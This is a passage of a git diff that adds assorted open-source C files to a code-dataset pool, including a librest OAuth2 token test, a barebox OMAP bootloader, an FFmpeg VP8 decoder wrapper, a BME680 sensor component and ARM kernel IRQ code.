rb_first(&machine->threads); nd; nd = rb_next(nd)) { + struct thread *pos = rb_entry(nd, struct thread, rb_node); + + ret += thread__fprintf(pos, fp); + } + + return ret; +} diff --git a/pool/shard011/C/0142173_oauth2.c b/pool/shard011/C/0142173_oauth2.c new file mode 100644 index 0000000000000000000000000000000000000000..e992b6ae8e161ebc12d6474eaf596d025c428bbe --- /dev/null +++ b/pool/shard011/C/0142173_oauth2.c @@ -0,0 +1,56 @@ +/* + * librest - RESTful web services access + * Copyright (c) 2010 Intel Corporation. + * + * Authors: Jonathon Jongsma + * + * This program is free software; you can redistribute it and/or modify it + * under the terms and conditions of the GNU Lesser General Public License, + * version 2.1, as published by the Free Software Foundation. + * + * This program is distributed in the hope it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for + * more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with this program; if not, write to the Free Software Foundation, + * Inc., 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA. + * + */ + +#include +#include + +void +test_extract_token () +{ + char *token; + + /* test a url without a fragment */ + token = oauth2_proxy_extract_access_token ("http://example.com/"); + g_assert (token == NULL); + + /* test a url with a fragment but without an access_token parameter */ + token = oauth2_proxy_extract_access_token ("http://example.com/foo?foo=1#bar"); + g_assert (token == NULL); + + /* test simple access_token */ + token = oauth2_proxy_extract_access_token ("http://example.com/foo?foo=1#access_token=1234567890_12.34561abcdefg&bar"); + g_assert (strcmp(token, "1234567890_12.34561abcdefg") == 0); + + /* test access_token with url encoding */ + token = oauth2_proxy_extract_access_token ("http://example.com/foo?foo=1#access_token=1234567890%5F12%2E34561abcdefg&bar"); + g_assert (strcmp(token, "1234567890_12.34561abcdefg") == 0); +} + +int +main (int argc, char **argv) +{ + g_thread_init (NULL); + g_type_init (); + + test_extract_token (); + + return 0; +} diff --git a/pool/shard011/C/0142174_xload.c b/pool/shard011/C/0142174_xload.c new file mode 100644 index 0000000000000000000000000000000000000000..3cce3f2be927aa8522322463393e0370e401d65c --- /dev/null +++ b/pool/shard011/C/0142174_xload.c @@ -0,0 +1,213 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static void *read_image_head(const char *name) +{ + void *header = xmalloc(ARM_HEAD_SIZE); + struct cdev *cdev; + int ret; + + cdev = cdev_open(name, O_RDONLY); + if (!cdev) { + printf("failed to open partition\n"); + return NULL; + } + + ret = cdev_read(cdev, header, ARM_HEAD_SIZE, 0, 0); + cdev_close(cdev); + + if (ret != ARM_HEAD_SIZE) { + printf("failed to read from partition\n"); + return NULL; + } + + return header; +} + +static unsigned int get_image_size(void *head) +{ + unsigned int ret = 0; + unsigned int *psize = head + ARM_HEAD_SIZE_OFFSET; + + if (is_barebox_arm_head(head)) + ret = *psize; + debug("Detected barebox image size %u\n", ret); + + return ret; +} + +static void *omap_xload_boot_nand(int offset) +{ + int ret; + int size; + void *to, *header; + struct cdev *cdev; + + devfs_add_partition("nand0", offset, SZ_1M, DEVFS_PARTITION_FIXED, "x"); + dev_add_bb_dev("x", "bbx"); + + header = read_image_head("bbx"); + if (header == NULL) + return NULL; + + size = get_image_size(header); + if (!size) { + printf("failed to get image size\n"); + return NULL; + } + + to = xmalloc(size); + + cdev = cdev_open("bbx", O_RDONLY); + if (!cdev) { + printf("failed to open nand\n"); + return NULL; + } + + ret = cdev_read(cdev, to, size, 0, 0); + if (ret != size) { + printf("failed to read from nand\n"); + return NULL; + } + + return to; +} + +static void *omap_xload_boot_mmc(void) +{ + int ret; + void *buf; + int len; + const char *diskdev = "disk0.0"; + + ret = mount(diskdev, "fat", "/"); + if (ret) { + printf("Unable to mount %s (%d)\n", diskdev, ret); + return NULL; + } + + buf = read_file("/barebox.bin", &len); + if (!buf) { + printf("could not read barebox.bin from sd card\n"); + return NULL; + } + + return buf; +} + +static void *omap_xload_boot_spi(int offset) +{ + int ret; + int size; + void *to, *header; + struct cdev *cdev; + + devfs_add_partition("m25p0", offset, SZ_1M, DEVFS_PARTITION_FIXED, "x"); + + header = read_image_head("x"); + if (header == NULL) + return NULL; + + size = get_image_size(header); + if (!size) { + printf("failed to get image size\n"); + return NULL; + } + + to = xmalloc(size); + + cdev = cdev_open("x", O_RDONLY); + if (!cdev) { + printf("failed to open spi flash\n"); + return NULL; + } + + ret = cdev_read(cdev, to, size, 0, 0); + if (ret != size) { + printf("failed to read from spi flash\n"); + return NULL; + } + + return to; +} + +static void *omap4_xload_boot_usb(void){ + int ret; + void *buf; + int len; + + ret = mount("omap4_usbboot", "omap4_usbbootfs", "/"); + if (ret) { + printf("Unable to mount omap4_usbbootfs (%d)\n", ret); + return NULL; + } + + buf = read_file("/barebox.bin", &len); + if (!buf) + printf("could not read barebox.bin from omap4_usbbootfs\n"); + + return buf; +} + +/* + * Replaces the default shell in xload configuration + */ +static __noreturn int omap_xload(void) +{ + int (*func)(void) = NULL; + + switch (bootsource_get()) + { + case BOOTSOURCE_MMC: + printf("booting from MMC\n"); + func = omap_xload_boot_mmc(); + break; + case BOOTSOURCE_USB: + if (IS_ENABLED(CONFIG_FS_OMAP4_USBBOOT)) { + printf("booting from USB\n"); + func = omap4_xload_boot_usb(); + break; + } else { + printf("booting from USB not enabled\n"); + } + case BOOTSOURCE_NAND: + printf("booting from NAND\n"); + func = omap_xload_boot_nand(SZ_128K); + break; + case BOOTSOURCE_SPI: + printf("booting from SPI\n"); + func = omap_xload_boot_spi(SZ_128K); + break; + default: + printf("unknown boot source. Fall back to nand\n"); + func = omap_xload_boot_nand(SZ_128K); + break; + } + + if (!func) { + printf("booting failed\n"); + while (1); + } + + shutdown_barebox(); + func(); + + while (1); +} + +static int omap_set_xload(void) +{ + barebox_main = omap_xload; + + return 0; +} +late_initcall(omap_set_xload); diff --git a/pool/shard011/C/0142175_libvpxdec.c b/pool/shard011/C/0142175_libvpxdec.c new file mode 100644 index 0000000000000000000000000000000000000000..15329f3f31faca50cd06c5c649e2ea9d70882966 --- /dev/null +++ b/pool/shard011/C/0142175_libvpxdec.c @@ -0,0 +1,123 @@ +/* + * Copyright (c) 2010, Google, Inc. + * + * This file is part of FFmpeg. + * + * FFmpeg is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * FFmpeg is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with FFmpeg; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/** + * @file + * VP8 decoder support via libvpx + */ + +#define VPX_CODEC_DISABLE_COMPAT 1 +#include +#include + +#include "libavutil/imgutils.h" +#include "avcodec.h" + +typedef struct VP8DecoderContext { + struct vpx_codec_ctx decoder; +} VP8Context; + +static av_cold int vp8_init(AVCodecContext *avctx) +{ + VP8Context *ctx = avctx->priv_data; + const struct vpx_codec_iface *iface = &vpx_codec_vp8_dx_algo; + struct vpx_codec_dec_cfg deccfg = { + /* token partitions+1 would be a decent choice */ + .threads = FFMIN(avctx->thread_count, 16) + }; + + av_log(avctx, AV_LOG_INFO, "%s\n", vpx_codec_version_str()); + av_log(avctx, AV_LOG_VERBOSE, "%s\n", vpx_codec_build_config()); + + if (vpx_codec_dec_init(&ctx->decoder, iface, &deccfg, 0) != VPX_CODEC_OK) { + const char *error = vpx_codec_error(&ctx->decoder); + av_log(avctx, AV_LOG_ERROR, "Failed to initialize decoder: %s\n", + error); + return AVERROR(EINVAL); + } + + avctx->pix_fmt = PIX_FMT_YUV420P; + return 0; +} + +static int vp8_decode(AVCodecContext *avctx, + void *data, int *data_size, AVPacket *avpkt) +{ + VP8Context *ctx = avctx->priv_data; + AVFrame *picture = data; + const void *iter = NULL; + struct vpx_image *img; + + if (vpx_codec_decode(&ctx->decoder, avpkt->data, avpkt->size, NULL, 0) != + VPX_CODEC_OK) { + const char *error = vpx_codec_error(&ctx->decoder); + const char *detail = vpx_codec_error_detail(&ctx->decoder); + + av_log(avctx, AV_LOG_ERROR, "Failed to decode frame: %s\n", error); + if (detail) + av_log(avctx, AV_LOG_ERROR, " Additional information: %s\n", + detail); + return AVERROR_INVALIDDATA; + } + + if ((img = vpx_codec_get_frame(&ctx->decoder, &iter))) { + if (img->fmt != VPX_IMG_FMT_I420) { + av_log(avctx, AV_LOG_ERROR, "Unsupported output colorspace (%d)\n", + img->fmt); + return AVERROR_INVALIDDATA; + } + + if ((int) img->d_w != avctx->width || (int) img->d_h != avctx->height) { + av_log(avctx, AV_LOG_INFO, "dimension change! %dx%d -> %dx%d\n", + avctx->width, avctx->height, img->d_w, img->d_h); + if (av_image_check_size(img->d_w, img->d_h, 0, avctx)) + return AVERROR_INVALIDDATA; + avcodec_set_dimensions(avctx, img->d_w, img->d_h); + } + picture->data[0] = img->planes[0]; + picture->data[1] = img->planes[1]; + picture->data[2] = img->planes[2]; + picture->data[3] = NULL; + picture->linesize[0] = img->stride[0]; + picture->linesize[1] = img->stride[1]; + picture->linesize[2] = img->stride[2]; + picture->linesize[3] = 0; + *data_size = sizeof(AVPicture); + } + return avpkt->size; +} + +static av_cold int vp8_free(AVCodecContext *avctx) +{ + VP8Context *ctx = avctx->priv_data; + vpx_codec_destroy(&ctx->decoder); + return 0; +} + +AVCodec ff_libvpx_decoder = { + .name = "libvpx", + .type = AVMEDIA_TYPE_VIDEO, + .id = CODEC_ID_VP8, + .priv_data_size = sizeof(VP8Context), + .init = vp8_init, + .close = vp8_free, + .decode = vp8_decode, + .long_name = NULL_IF_CONFIG_SMALL("libvpx VP8"), +}; diff --git a/pool/shard011/C/0142176_state.c b/pool/shard011/C/0142176_state.c new file mode 100644 index 0000000000000000000000000000000000000000..f791817beffff9fbfe487ca31b2fe36fcb9ab6ad --- /dev/null +++ b/pool/shard011/C/0142176_state.c @@ -0,0 +1,71 @@ +/* state.c -- Create the backtrace state. + Copyright (C) 2012-2021 Free Software Foundation, Inc. + Written by Ian Lance Taylor, Google. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + (1) Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + (2) Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + + (3) The name of the author may not be used to + endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING +IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. */ + +#include "config.h" + +#include +#include + +#include "backtrace.h" +#include "internal.h" + +/* Create the backtrace state. This will then be passed to all the + other routines. */ + +struct backtrace_state * +backtrace_create_state (const char *filename, int threaded, + backtrace_error_callback error_callback, + void *data) +{ + struct backtrace_state init_state; + struct backtrace_state *state; + +#ifndef HAVE_SYNC_FUNCTIONS + if (threaded) + { + error_callback (data, "backtrace library does not support threads", 0); + return NULL; + } +#endif + + memset (&init_state, 0, sizeof init_state); + init_state.filename = filename; + init_state.threaded = threaded; + + state = ((struct backtrace_state *) + backtrace_alloc (&init_state, sizeof *state, error_callback, data)); + if (state == NULL) + return NULL; + *state = init_state; + + return state; +} diff --git a/pool/shard011/C/0142177_SDL_ovlwmvideobase.c b/pool/shard011/C/0142177_SDL_ovlwmvideobase.c new file mode 100644 index 0000000000000000000000000000000000000000..813f2ede6376dc161f09387cb8dcf51d6797540f --- /dev/null +++ b/pool/shard011/C/0142177_SDL_ovlwmvideobase.c @@ -0,0 +1,144 @@ +#include +#include + +#include "SDL.h" +#include "SDL_error.h" +#include "SDL_video.h" +#include "SDL_mouse.h" +#include "SDL_sysvideo.h" +#include "SDL_pixels_c.h" +#include "SDL_events_c.h" + +#include "SDL_ovlwmvideo.h" + +#include +#include + + +static int OVLWM_Available(void) { + INFO(LOG_Enter("");) + + /* try to init ovlwm */ + if (ovl_screen_init(NULL) == 0) return(1); + return(0); +} + + +static void OVLWM_DeleteDevice(SDL_VideoDevice *device) { + INFO(LOG_Enter("");) + free(device->hidden); + free(device); +} + + +static SDL_VideoDevice *OVLWM_CreateDevice(int devindex) { + SDL_VideoDevice *device; + INFO(LOG_Enter("(devindex=%i)", devindex);) + + /* contact overlay wm */ + if (ovl_screen_init(NULL) != 0) return NULL; + + /* initialize device */ + (void*) device = malloc(sizeof *device); + if (device) { + memset(device, 0, sizeof *device); + (void*) device->hidden = malloc(sizeof *device->hidden); + if (device->hidden) + memset(device->hidden, 0, sizeof *device->hidden); + } + + if ((device == NULL) || (!device->hidden)) { + SDL_OutOfMemory(); + if (device) { + if (device->hidden) + free(device->hidden); + free(device); + } + return(0); + } + + /* set the function pointers */ + device->VideoInit = OVLWM_VideoInit; + device->ListModes = OVLWM_ListModes; + device->SetVideoMode = OVLWM_SetVideoMode; + device->ToggleFullScreen = NULL; + device->UpdateMouse = NULL; + device->CreateYUVOverlay = NULL; + device->SetColors = OVLWM_SetColors; + device->UpdateRects = OVLWM_UpdateRects; + device->VideoQuit = OVLWM_VideoQuit; + device->FlipHWSurface = OVLWM_FlipHWSurface; + device->LockHWSurface = OVLWM_LockHWSurface; + device->UnlockHWSurface = OVLWM_UnlockHWSurface; + device->AllocHWSurface = OVLWM_AllocHWSurface; + device->FreeHWSurface = OVLWM_FreeHWSurface; + device->SetCaption = OVLWM_SetCaption; + device->SetIcon = NULL; + device->IconifyWindow = NULL; + device->GrabInput = OVLWM_GrabInput; + device->WarpWMCursor = OVLWM_WarpWMCursor; + device->InitOSKeymap = OVLWM_InitOSKeymap; + device->PumpEvents = OVLWM_PumpEvents; + device->free = OVLWM_DeleteDevice; + + return device; +} + + +VideoBootStrap OVLWM_bootstrap = { + OVLWMVID_DRIVER_NAME, "SDL ovlwm video driver", + OVLWM_Available, OVLWM_CreateDevice +}; + + +int OVLWM_VideoInit(_THIS, SDL_PixelFormat *vformat) { + INFO(LOG_Enter("");) + + /* fill the vformat structure with the "best" pixel format */ + vformat->BitsPerPixel = 16; + vformat->BytesPerPixel = 2; + + /* initialize ovlwm */ + ovl_screen_init(NULL); + + /* We're done! */ + return(0); +} + + +/* + * Note: If we are terminated, this could be called in the middle of + * another SDL video routine -- notably UpdateRects. + */ +void OVLWM_VideoQuit(_THIS) { + INFO(LOG_Enter("");) + + OVLWM_RemoveApp(this); +} + + +SDL_Rect **OVLWM_ListModes(_THIS, SDL_PixelFormat *format, Uint32 flags) { + INFO(LOG_Enter("(bpp=%i, Bpp=%i, flags=%8x)", format->BitsPerPixel, format->BytesPerPixel, flags);) + + /* reject unsupported flags */ + if (flags & (SDL_OPENGL)) return NULL; + /* reject unsupported pixel formats */ + if (format->BitsPerPixel != 16) + return NULL; + if (format->BytesPerPixel) { + if (format->BytesPerPixel != 2) + return NULL; + } + + /* any resolution is available */ + return (SDL_Rect **) -1; +} + + +void OVLWM_RemoveApp(_THIS) { + INFO(LOG_Enter("");) + if (this->hidden->have_app) { + OVLWM_RemoveEventHandler(this); + this->hidden->have_app=0; + } +} diff --git a/pool/shard011/C/0142178_component.c b/pool/shard011/C/0142178_component.c new file mode 100644 index 0000000000000000000000000000000000000000..b12ef7cda2d46c99d16da1b3851b3da514421509 --- /dev/null +++ b/pool/shard011/C/0142178_component.c @@ -0,0 +1,259 @@ +//-------------------------------------------------------------------------------------------------- +/** + * Implementation of the Data Hub interface to the environment sensor. + * + * Copyright (C) Sierra Wireless Inc. + */ +//-------------------------------------------------------------------------------------------------- + +#include "legato.h" +#include "interfaces.h" + +/// Input resource path +#define RES_PATH_VALUE "value" + +/// Data hub resource path for enable output. +#define RES_PATH_ENABLE "enable" + +/// Data hub resource path for low-power mode control output. +#define RES_PATH_LOW_POWER "lowPower" + +/// Ambient temperature output resource path. +/// Providing an accurate measurement of ambient air temperature from another source improves the +/// accuracy of the environmental sensor's measurements by allowing it to compensate for the +/// difference between the device's internal temperature and the ambient air temperature. +#define RES_PATH_AMBIENT_TEMP "ambientAirTemp" + +/// Main configuration output resource path +#define RES_PATH_CONFIG "config" + +/// Sample JSON value to report to the Data Hub for auto-discovery by administrative tools. +#define VALUE_EXAMPLE "{\"iaqValue\":25.0,\"iaqAccuracy\":0," \ + "\"co2EquivalentValue\":500.000000,\"co2EquivalentAccuracy\":0," \ + "\"breathVocValue\":0.499999,\"breathVocAccuracy\":0," \ + "\"pressure\":101621,\"temperature\":21.949438,\"humidity\":50.673931}" + +/// true if at least one ambient temperature sample has been received. +static bool AmbientTempReceived = false; + +/// true if the sensor is enabled. +static bool IsEnabled = false; + +/// The sampling rate configuration. +/// Defaults to "low power", which is actually the higher power consuming option. +static mangOH_bme680_SamplingRate_t SamplingRate = MANGOH_BME680_SAMPLING_RATE_LP; + +//-------------------------------------------------------------------------------------------------- +/** + * Update the sensor configuration based on the configuration settings received from the + * Data Hub. + */ +//-------------------------------------------------------------------------------------------------- +static void UpdateSensor +( + void +) +{ + mangOH_bme680_SamplingRate_t samplingRate = SamplingRate; + + if ((!IsEnabled) || (!AmbientTempReceived)) + { + samplingRate = MANGOH_BME680_SAMPLING_RATE_DISABLED; + } + + LE_ASSERT_OK(mangOH_bme680_Configure(samplingRate, + IsEnabled, // IAQ + IsEnabled, // CO2 + IsEnabled, // breath VOC + IsEnabled, // pressure + IsEnabled, // temperature + IsEnabled) ); // humidity +} + + +//-------------------------------------------------------------------------------------------------- +/** + * Function called back by the mangOH_bme680 API to pass a new sensor reading to us. + */ +//-------------------------------------------------------------------------------------------------- +static void SensorReadingHandler +( + const mangOH_bme680_Reading_t *reading, + void* context +) +{ + char value[512]; + size_t len = 0; + char prefixChar = '{'; + + if ((reading->iaq.valid) && (len < sizeof(value))) + { + len += snprintf(value + len, + sizeof(value) - len, + "%c\"iaqValue\":%lf,\"iaqAccuracy\":%d", + prefixChar, + reading->iaq.value, + reading->iaq.accuracy); + prefixChar = ','; + } + + if ((reading->co2Equivalent.valid) && (len < sizeof(value))) + { + len += snprintf(value + len, + sizeof(value) - len, + "%c\"co2EquivalentValue\":%lf,\"co2EquivalentAccuracy\":%d", + prefixChar, + reading->co2Equivalent.value, + reading->co2Equivalent.accuracy); + prefixChar = ','; + } + + if ((reading->breathVoc.valid) && (len < sizeof(value))) + { + len += snprintf(value + len, + sizeof(value) - len, + "%c\"breathVocValue\":%lf,\"breathVocAccuracy\":%d", + prefixChar, + reading->breathVoc.value, + reading->breathVoc.accuracy); + prefixChar = ','; + } + + if ((reading->pressure.valid) && (len < sizeof(value))) + { + len += snprintf(value + len, + sizeof(value) - len, + "%c\"pressure\":%.0lf", + prefixChar, + reading->pressure.value); + prefixChar = ','; + } + + if ((reading->temperature.valid) && (len < sizeof(value))) + { + len += snprintf(value + len, + sizeof(value) - len, + "%c\"temperature\":%lf", + prefixChar, + reading->temperature.value); + prefixChar = ','; + } + + if ((reading->humidity.valid) && (len < sizeof(value))) + { + len += snprintf(value + len, + sizeof(value) - len, + "%c\"humidity\":%lf", + prefixChar, + reading->humidity.value); + } + + if (len < sizeof(value)) + { + if (len == 0) + { + len = snprintf(value, sizeof(value), "{}"); + } + else + { + len += snprintf(value + len, sizeof(value) - len, "}"); + } + } + + LE_ASSERT(len < sizeof(value)); + + io_PushJson(RES_PATH_VALUE, IO_NOW, value); +} + + +//-------------------------------------------------------------------------------------------------- +/** + * Function called by the Data Hub to deliver to us an update of the ambient temperature. + */ +//-------------------------------------------------------------------------------------------------- +static void HandleAmbientTempPush +( + double timestamp, + double value, ///< degrees Celcius + void* contextPtr +) +{ + mangOH_bme680_SetAmbientTemperature(value); + + if (!AmbientTempReceived) + { + AmbientTempReceived = true; + + UpdateSensor(); + } +} + + +//-------------------------------------------------------------------------------------------------- +/** + * Function called by the Data Hub to deliver to us an update to our enable setting. + */ +//-------------------------------------------------------------------------------------------------- +static void HandleEnablePush +( + double timestamp, + bool value, ///< true = enable, false = disable + void* contextPtr +) +{ + if (value != IsEnabled) + { + IsEnabled = value; + UpdateSensor(); + } +} + + +//-------------------------------------------------------------------------------------------------- +/** + * Function called by the Data Hub to deliver to us an update to our lowPower setting. + */ +//-------------------------------------------------------------------------------------------------- +static void HandleLowPowerPush +( + double timestamp, + bool value, ///< true = low power mode (ULP), false = not as low but still low power (LP). + void* contextPtr +) +{ + mangOH_bme680_SamplingRate_t newRate; + if (value) + { + newRate = MANGOH_BME680_SAMPLING_RATE_ULP; + } + else + { + newRate = MANGOH_BME680_SAMPLING_RATE_LP; + } + + if (newRate != SamplingRate) + { + SamplingRate = newRate; + UpdateSensor(); + } +} + + +COMPONENT_INIT +{ + LE_ASSERT_OK(io_CreateInput(RES_PATH_VALUE, IO_DATA_TYPE_JSON, "")); + io_SetJsonExample(RES_PATH_VALUE, VALUE_EXAMPLE); + + LE_ASSERT_OK(io_CreateOutput(RES_PATH_AMBIENT_TEMP, IO_DATA_TYPE_NUMERIC, "degC")); + io_AddNumericPushHandler(RES_PATH_AMBIENT_TEMP, HandleAmbientTempPush, NULL); + + mangOH_bme680_AddSensorReadingHandler(SensorReadingHandler, NULL); + + LE_ASSERT_OK(io_CreateOutput(RES_PATH_ENABLE, IO_DATA_TYPE_BOOLEAN, "")); + io_AddBooleanPushHandler(RES_PATH_ENABLE, HandleEnablePush, NULL); + + LE_ASSERT_OK(io_CreateOutput(RES_PATH_LOW_POWER, IO_DATA_TYPE_BOOLEAN, "")); + io_AddBooleanPushHandler(RES_PATH_LOW_POWER, HandleLowPowerPush, NULL); + io_MarkOptional(RES_PATH_LOW_POWER); + io_SetBooleanDefault(RES_PATH_LOW_POWER, false); +} diff --git a/pool/shard011/C/0142179_irq.c b/pool/shard011/C/0142179_irq.c new file mode 100644 index 0000000000000000000000000000000000000000..5e4a939ec0d439e821c48089c82bcea3328bd80a --- /dev/null +++ b/pool/shard011/C/0142179_irq.c @@ -0,0 +1,217 @@ +/* + * linux/arch/arm/kernel/irq.c + * + * Copyright (C) 1992 Linus Torvalds + * Modifications for ARM processor Copyright (C) 1995-2000 Russell King. + * + * Support for Dynamic Tick Timer Copyright (C) 2004-2005 Nokia Corporation. + * Dynamic Tick Timer written by Tony Lindgren and + * Tuukka Tikkanen . + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * This file contains the code used by various IRQ handling routines: + * asking for different IRQ's should be done through these routines + * instead of just grabbing them. Thus setups with different IRQ numbers + * shouldn't result in any weird surprises, and installing new handlers + * should be easier. + * + * IRQ's are in fact implemented a bit like signal handlers for the kernel. + * Naturally it's not a 1:1 relation, but there are similarities. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +/* + * No architecture-specific irq_finish function defined in arm/arch/irqs.h. + */ +#ifndef irq_finish +#define irq_finish(irq) do { } while (0) +#endif + +unsigned int arch_nr_irqs; +void (*init_arch_irq)(void) __initdata = NULL; +unsigned long irq_err_count; + +int show_interrupts(struct seq_file *p, void *v) +{ + int i = *(loff_t *) v, cpu; + struct irq_desc *desc; + struct irqaction * action; + unsigned long flags; + + if (i == 0) { + char cpuname[12]; + + seq_printf(p, " "); + for_each_present_cpu(cpu) { + sprintf(cpuname, "CPU%d", cpu); + seq_printf(p, " %10s", cpuname); + } + seq_putc(p, '\n'); + } + + if (i < nr_irqs) { + desc = irq_to_desc(i); + raw_spin_lock_irqsave(&desc->lock, flags); + action = desc->action; + if (!action) + goto unlock; + + seq_printf(p, "%3d: ", i); + for_each_present_cpu(cpu) + seq_printf(p, "%10u ", kstat_irqs_cpu(i, cpu)); + seq_printf(p, " %10s", desc->chip->name ? : "-"); + seq_printf(p, " %s", action->name); + for (action = action->next; action; action = action->next) + seq_printf(p, ", %s", action->name); + + seq_putc(p, '\n'); +unlock: + raw_spin_unlock_irqrestore(&desc->lock, flags); + } else if (i == nr_irqs) { +#ifdef CONFIG_FIQ + show_fiq_list(p, v); +#endif +#ifdef CONFIG_SMP + show_ipi_list(p); + show_local_irqs(p); +#endif + seq_printf(p, "Err: %10lu\n", irq_err_count); + } + return 0; +} + +/* + * do_IRQ handles all hardware IRQ's. Decoded IRQs should not + * come via this function. Instead, they should provide their + * own 'handler' + */ +asmlinkage void __exception asm_do_IRQ(unsigned int irq, struct pt_regs *regs) +{ + struct pt_regs *old_regs = set_irq_regs(regs); + + irq_enter(); + + /* + * Some hardware gives randomly wrong interrupts. Rather + * than crashing, do something sensible. + */ + if (unlikely(irq >= nr_irqs)) { + if (printk_ratelimit()) + printk(KERN_WARNING "Bad IRQ%u\n", irq); + ack_bad_irq(irq); + } else { + generic_handle_irq(irq); + } + +#ifndef CONFIG_IPIPE + /* AT91 specific workaround */ + irq_finish(irq); +#endif /* !CONFIG_IPIPE */ + + irq_exit(); + set_irq_regs(old_regs); +} + +void set_irq_flags(unsigned int irq, unsigned int iflags) +{ + struct irq_desc *desc; + unsigned long flags; + + if (irq >= nr_irqs) { + printk(KERN_ERR "Trying to set irq flags for IRQ%d\n", irq); + return; + } + + desc = irq_to_desc(irq); + raw_spin_lock_irqsave(&desc->lock, flags); + desc->status |= IRQ_NOREQUEST | IRQ_NOPROBE | IRQ_NOAUTOEN; + if (iflags & IRQF_VALID) + desc->status &= ~IRQ_NOREQUEST; + if (iflags & IRQF_PROBE) + desc->status &= ~IRQ_NOPROBE; + if (!(iflags & IRQF_NOAUTOEN)) + desc->status &= ~IRQ_NOAUTOEN; + raw_spin_unlock_irqrestore(&desc->lock, flags); +} + +void __init init_IRQ(void) +{ + struct irq_desc *desc; + int irq; + + for (irq = 0; irq < nr_irqs; irq++) { + desc = irq_to_desc_alloc_node(irq, 0); + desc->status |= IRQ_NOREQUEST | IRQ_NOPROBE; + } + + init_arch_irq(); +} + +#ifdef CONFIG_SPARSE_IRQ +int __init arch_probe_nr_irqs(void) +{ + nr_irqs = arch_nr_irqs ? arch_nr_irqs : NR_IRQS; + return 0; +} +#endif + +#ifdef CONFIG_HOTPLUG_CPU + +static void route_irq(struct irq_desc *desc, unsigned int irq, unsigned int cpu) +{ + pr_debug("IRQ%u: moving from cpu%u to cpu%u\n", irq, desc->node, cpu); + + raw_spin_lock_irq(&desc->lock); + desc->chip->set_affinity(irq, cpumask_of(cpu)); + raw_spin_unlock_irq(&desc->lock); +} + +/* + * The CPU has been marked offline. Migrate IRQs off this CPU. If + * the affinity settings do not allow other CPUs, force them onto any + * available CPU. + */ +void migrate_irqs(void) +{ + unsigned int i, cpu = smp_processor_id(); + struct irq_desc *desc; + + for_each_irq_desc(i, desc) { + if (desc->node == cpu) { + unsigned int newcpu = cpumask_any_and(desc->affinity, + cpu_online_mask); + if (newcpu >= nr_cpu_ids) { + if (printk_ratelimit()) + printk(KERN_INFO "IRQ%u no longer affine to CPU%u\n", + i, cpu); + + cpumask_setall(desc->affinity); + newcpu = cpumask_any_and(desc->affinity, + cpu_online_mask); + } + + route_irq(desc, i, newcpu); + } + } +} +#endif /* CONFIG_HOTPLUG_CPU */ diff --git a/pool/shard011/C/0142180_cblas_cherk.c b/pool/shard011/C/0142180_cblas_cherk.c new file mode 100644 index 0000000000000000000000000000000000000000..7b432ee0092228fbd92c7858594bea659c610c30 --- /dev/null +++ b/pool/shard011/C/0142180_cblas_cherk.c @@ -0,0 +1,111 @@ +#include "bli_config.h" +#include "bli_system.h" +#include "bli_type_defs.h" +#include "bli_cblas.h" +#ifdef BLIS_ENABLE_CBLAS +/* + * + * cblas_cherk.c + * This program is a C interface to cherk. + * Written by Keita Teranishi + * 4/8/1998 + * + */ + +#include "cblas.h" +#include "cblas_f77.h" +void cblas_cherk(const enum CBLAS_ORDER Order, const enum CBLAS_UPLO Uplo, + const enum CBLAS_TRANSPOSE Trans, const int N, const int K, + const float alpha, const void *A, const int lda, + const float beta, void *C, const int ldc) +{ + char UL, TR; +#ifdef F77_CHAR + F77_CHAR F77_TR, F77_UL; +#else + #define F77_TR &TR + #define F77_UL &UL +#endif + +#ifdef F77_INT + F77_INT F77_N=N, F77_K=K, F77_lda=lda; + F77_INT F77_ldc=ldc; +#else + #define F77_N N + #define F77_K K + #define F77_lda lda + #define F77_ldc ldc +#endif + + extern int CBLAS_CallFromC; + extern int RowMajorStrg; + RowMajorStrg = 0; + CBLAS_CallFromC = 1; + + if( Order == CblasColMajor ) + { + if( Uplo == CblasUpper) UL='U'; + else if ( Uplo == CblasLower ) UL='L'; + else + { + cblas_xerbla(2, "cblas_cherk", "Illegal Uplo setting, %d\n", Uplo); + CBLAS_CallFromC = 0; + RowMajorStrg = 0; + return; + } + + if( Trans == CblasTrans) TR ='T'; + else if ( Trans == CblasConjTrans ) TR='C'; + else if ( Trans == CblasNoTrans ) TR='N'; + else + { + cblas_xerbla(3, "cblas_cherk", 